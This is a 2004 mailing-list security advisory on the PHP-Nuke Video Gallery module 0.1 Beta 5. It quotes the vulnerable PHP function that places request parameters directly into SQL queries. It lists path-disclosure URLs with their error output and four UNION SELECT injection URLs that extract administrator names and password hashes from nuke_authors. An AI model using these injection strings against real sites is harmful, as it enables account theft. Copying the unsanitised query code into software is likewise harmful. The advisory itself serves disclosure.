[<prev] [next>] [day] [month] [year] [list]
Message-ID: <BAY8-F122ULoLjToLe000026839@hotmail.com>
From: k1ll3rb0y at hotmail.com (k1LL3r B0y)
Subject: Multiple vulnerabilities PHP-Nuke Video Gallery Module for PHP-Nuke
Adivore: http://bichosoft.webcindario.com/advisory-03.txt
===========================================================================
=================== Multiple vulnerabilities PHP-Nuke =====================
=================== Video Gallery Module for PHP-Nuke =====================
PROGRAM: PHP-Nuke Video Gallery Module for PHP-Nuke
HOMEPAGE: http://videogallery.engorile.com/
VERSION: 0.1 Beta 5
BUG: Multiple vulnerabilities
DATE: 26/04/2004
AUTHOR: DarkBicho
web: http://www.darkbicho.tk
team: Security Wari Proyects <www.swp-zone.org>
Email: darkbicho@...u.com
===========================================================================
===========================================================================
Vulnerabilities:
---------------
1.- CODE:
????
================================ CODE ===================================
function render_detail_clip($clipid, $catid){
global $prefix, $dbi, $module_name;
$tipomime="application/unknown";
$next=next_clips($clipid, $catid);
$result=sql_query("select descripcion, url_thumb, url_preview, accesos from
".$prefix."_videos_clips where clipid=$clipid", $dbi);
list($descripcion, $url_thumb, $url_preview,
$accesos)=sql_fetch_row($result, $dbi);
$resultado=AbreTabla();
if ($next["previous"]){
$resultado.="<a
href=modules.php?name=$module_name&l_op=viewclip&clipid=".$next["previous"]."&catid=$catid>"._PREVIOUS."</a>";
}
$resultado.="</td><td align=right>";
if ($next["next"]){
$resultado.="<a
href=modules.php?name=$module_name&l_op=viewclip&clipid=".$next["next"]."&catid=$catid>"._NEXT."</a>";
}
$resultado.=CierraTabla().AbreTabla().$descripcion."</td></tr><tr><td>";
if ($url_preview != ""){
$tipomime=tipomime($clipid, "clips");
$result2=sql_query("select class_id, options_object, options_embed from
".$prefix."_videos_tipos where tipomime='$tipomime'", $dbi);
list($class_id, $options_object, $options_embed)=sql_fetch_row($result2,
$dbi);
$resultado.="<center>".mete_video($url_preview, $tipomime, 160,
120)."</center>";
}
else{
$resultado.="<center><img src=\"$url_thumb\"></center>";
}
$resultado.=CierraTabla().AbreTabla().votacion_clip($clipid, $catid);
if (count_total($clipid, "clip", "ficheros") > 0){
$resultado.=CierraTabla().AbreTabla().clip_files($clipid,
$catid).CierraTabla();
}
else{
$resultado.=CierraTabla();
}
$accesos++;
sql_query("update ".$prefix."_videos_clips set accesos=$accesos where
clipid=$clipid", $dbi);
return "$resultado";
}
=========================================================================
2.- Full path disclosure:
????????????????????
This vulnerability would allow a remote user to determine the full
path to the web root directory and other potentially sensitive
information.
A)
http://[target]/modules.php?name=Video_Gallery&l_op=viewcat&catid=darkbicho
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL
result resource in
/home/hosting/php-nuke/includes/sql_layer.php on line 286
B)
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=darkbicho&catid=1
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL
result resource in
/home/hosting/php-nuke/includes/sql_layer.php on line 286
3.- Sql injection:
??????????????
This sql injection exploit can pull out from database any information,
for example
superadmin's username and password's md5 hash:
A)
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1
B)
http://[target]/modules.php?name=Video_Gallery&l_op=viewcat&catid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors
c)
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20name%20FROM%20nuke_authors&catid=1
D)
http://[target]/modules.php?name=Video_Gallery&l_op=voteclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1
SOLUTION:
????????
Vendors were contacted many weeks ago and plan to release a fixed
version soon.
Check the Video Gallery website for updates and official release
details.
_________________________________________________________________
Charla con tus amigos en l?nea mediante MSN Messenger:
http://messenger.latam.msn.com/
Powered by blists - more mailing lists